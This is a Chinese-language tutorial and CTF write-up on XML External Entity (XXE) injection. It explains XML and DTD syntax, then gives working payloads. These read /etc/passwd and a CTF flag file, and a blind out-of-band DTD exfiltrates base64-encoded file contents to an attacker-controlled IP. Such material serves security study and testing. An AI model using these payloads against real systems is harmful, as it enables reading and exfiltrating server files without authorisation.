注意:libxml2.9.1版本及以后,默认不解析外部实体,测试时候windows下使用的是php5.2(libxml version2.7.7),php5.3(libxml version2.7.8)
在学习XXE漏洞之前,首先一起学习一下什么是XML
是种可扩展标记语言,本质上被设计用来传输、存储数据以及结构化,而非显示数据,可以简单理解为不能做任何事的纯文本
常见的XML结构如下:
<?xml version="1.0" encoding="utf-8"?>#XML声明、版本、编码
<!--下面为文档类型定义DTD-->
<!DOCTYPE note [<!--定义此文档是note类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<!--下面为文档元素-->
<note>
<to>Tove</to>//调用Tove实体(不可缺)
<from>John</from>
<head>Reminder</head>
<body>Don't forget me this weekend</body>
</note>
其中,文档类型DTD定义,可以是内部声明也可以引用外部DTD,如下所示
-
内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>
-
外部声明DTD格式:<!DOCTYPE 根元素 SYSTEM "文件名">
其中,在DTD内会进行实体声明【注:DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用】,实体可以在内部声明也可以引用外部声明,并且定义实体必须写在DTD部分
-
内部声明实体格式:<!ENTITY 实体名称 "实体的值">
-
外部声明实体格式:<!ENTITY 实体名称 SYSTEM "URL">
XXE是什么?
XXE,全称XML External Entity Injection,看到这里如果无法快速将XML和XXE之间的关系联系到一起的话,不妨联系为XML与XML外部实体注入漏洞。由于应用程序解析XML输入时,没有禁止对外部实体的加载,导致出现外部实体漏洞,可加载恶意外部文件,造成文件读取、命令执行等危害。另外php版本大于5.4.45的默认不解析外部实体
XML外部实体注入原理
在前面提到的XML实体上,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。其实XML本质上被设计用来传输、存储数据,本身不做任何事情,真正读取的是PHP一个处理XML的函数:simplexml_load_string()
举个例子
攻击思路
引用外部实体文件读取
例一:
利用XML外部实体漏洞对靶机读取passwd和flag
页面如下
输入密码抓包后,可以看到/doLogin.php页面以POST方式向原页面传输了XML数据,既然是XML数据,我们就可以自己写入一个恶意外部实体,在原本的XML数据中进行实体调用,来进行XXE攻击
列举典型的XXE攻击:
方法一:通过内部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file "baidu.com">
]>
<ccc>&file;</ccc>
方法二:通过DTD外部实体声明
<?xml version="1.0" encoding="utf-8"?> #XML声明
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">
]> #DTD部分
<ccc>&file;</ccc> #XML部分
方法三:通过DTD文档引入外部DTD文档,再引入外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "https://www.xxx.com/exp.dtd">
<ccc>&file;</ccc>
DTD内容:<!ENTITY file SYSTEM "file:///etc/passwd">
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>aaaa</password></user>
关键字SYSTEM会令XML解析器,'admin'的实体值将会从后面的URL内获取,也就是所输入的file:///etc/passwd文件,其实这个过程就是XML实体攻击
读取flag
例二:
要求读取/home/ctf/flag.txt的内容
靶机地址:http://web.jarvisoj.com:9882/
修改json数据,也会被一起解析
将Content-Type属性修改为application/xml,构造xxe的payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<ganyu>&file;</ganyu>
XXE的利用方式-DTD
利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令执行,SQL注入,端口扫描等等
一般xxe分为两大场景:有回显和无回显,有回显就是可以直接在页面中看到payload的执行结果,无回显又被称为blind XXE,是利用外带数据通道提取数据
有回显的情况的两种攻击方式:
通过DTD外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<ccc>&file;</ccc>
通过DTD文档引入外部DTD文档,再引入外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "https://www.xxx.com/exp.dtd">
<ccc>&file;</ccc>
外部DTD内容:
<!ENTITY file SYSTEM "file:///etc/passwd">
无回显的情况:
可以使用外带数据通道提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击者的服务器,也可以买个vps)xxx.xxx.xxx
<!DOCTYPE a [
<!ENTITY % remote SYSTEM "http://192.168.0.12/test.dtd">
%remote;%int;%send;
]>
关于上方test.dtd的内容,内部的%号要进行实体编码成%,代码如下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENtity % send SYSTEM 'http://192.168.0.12:8080?p=%file;'>">
接下来访问接收数据的服务器的日志信息即可,记得用base64解码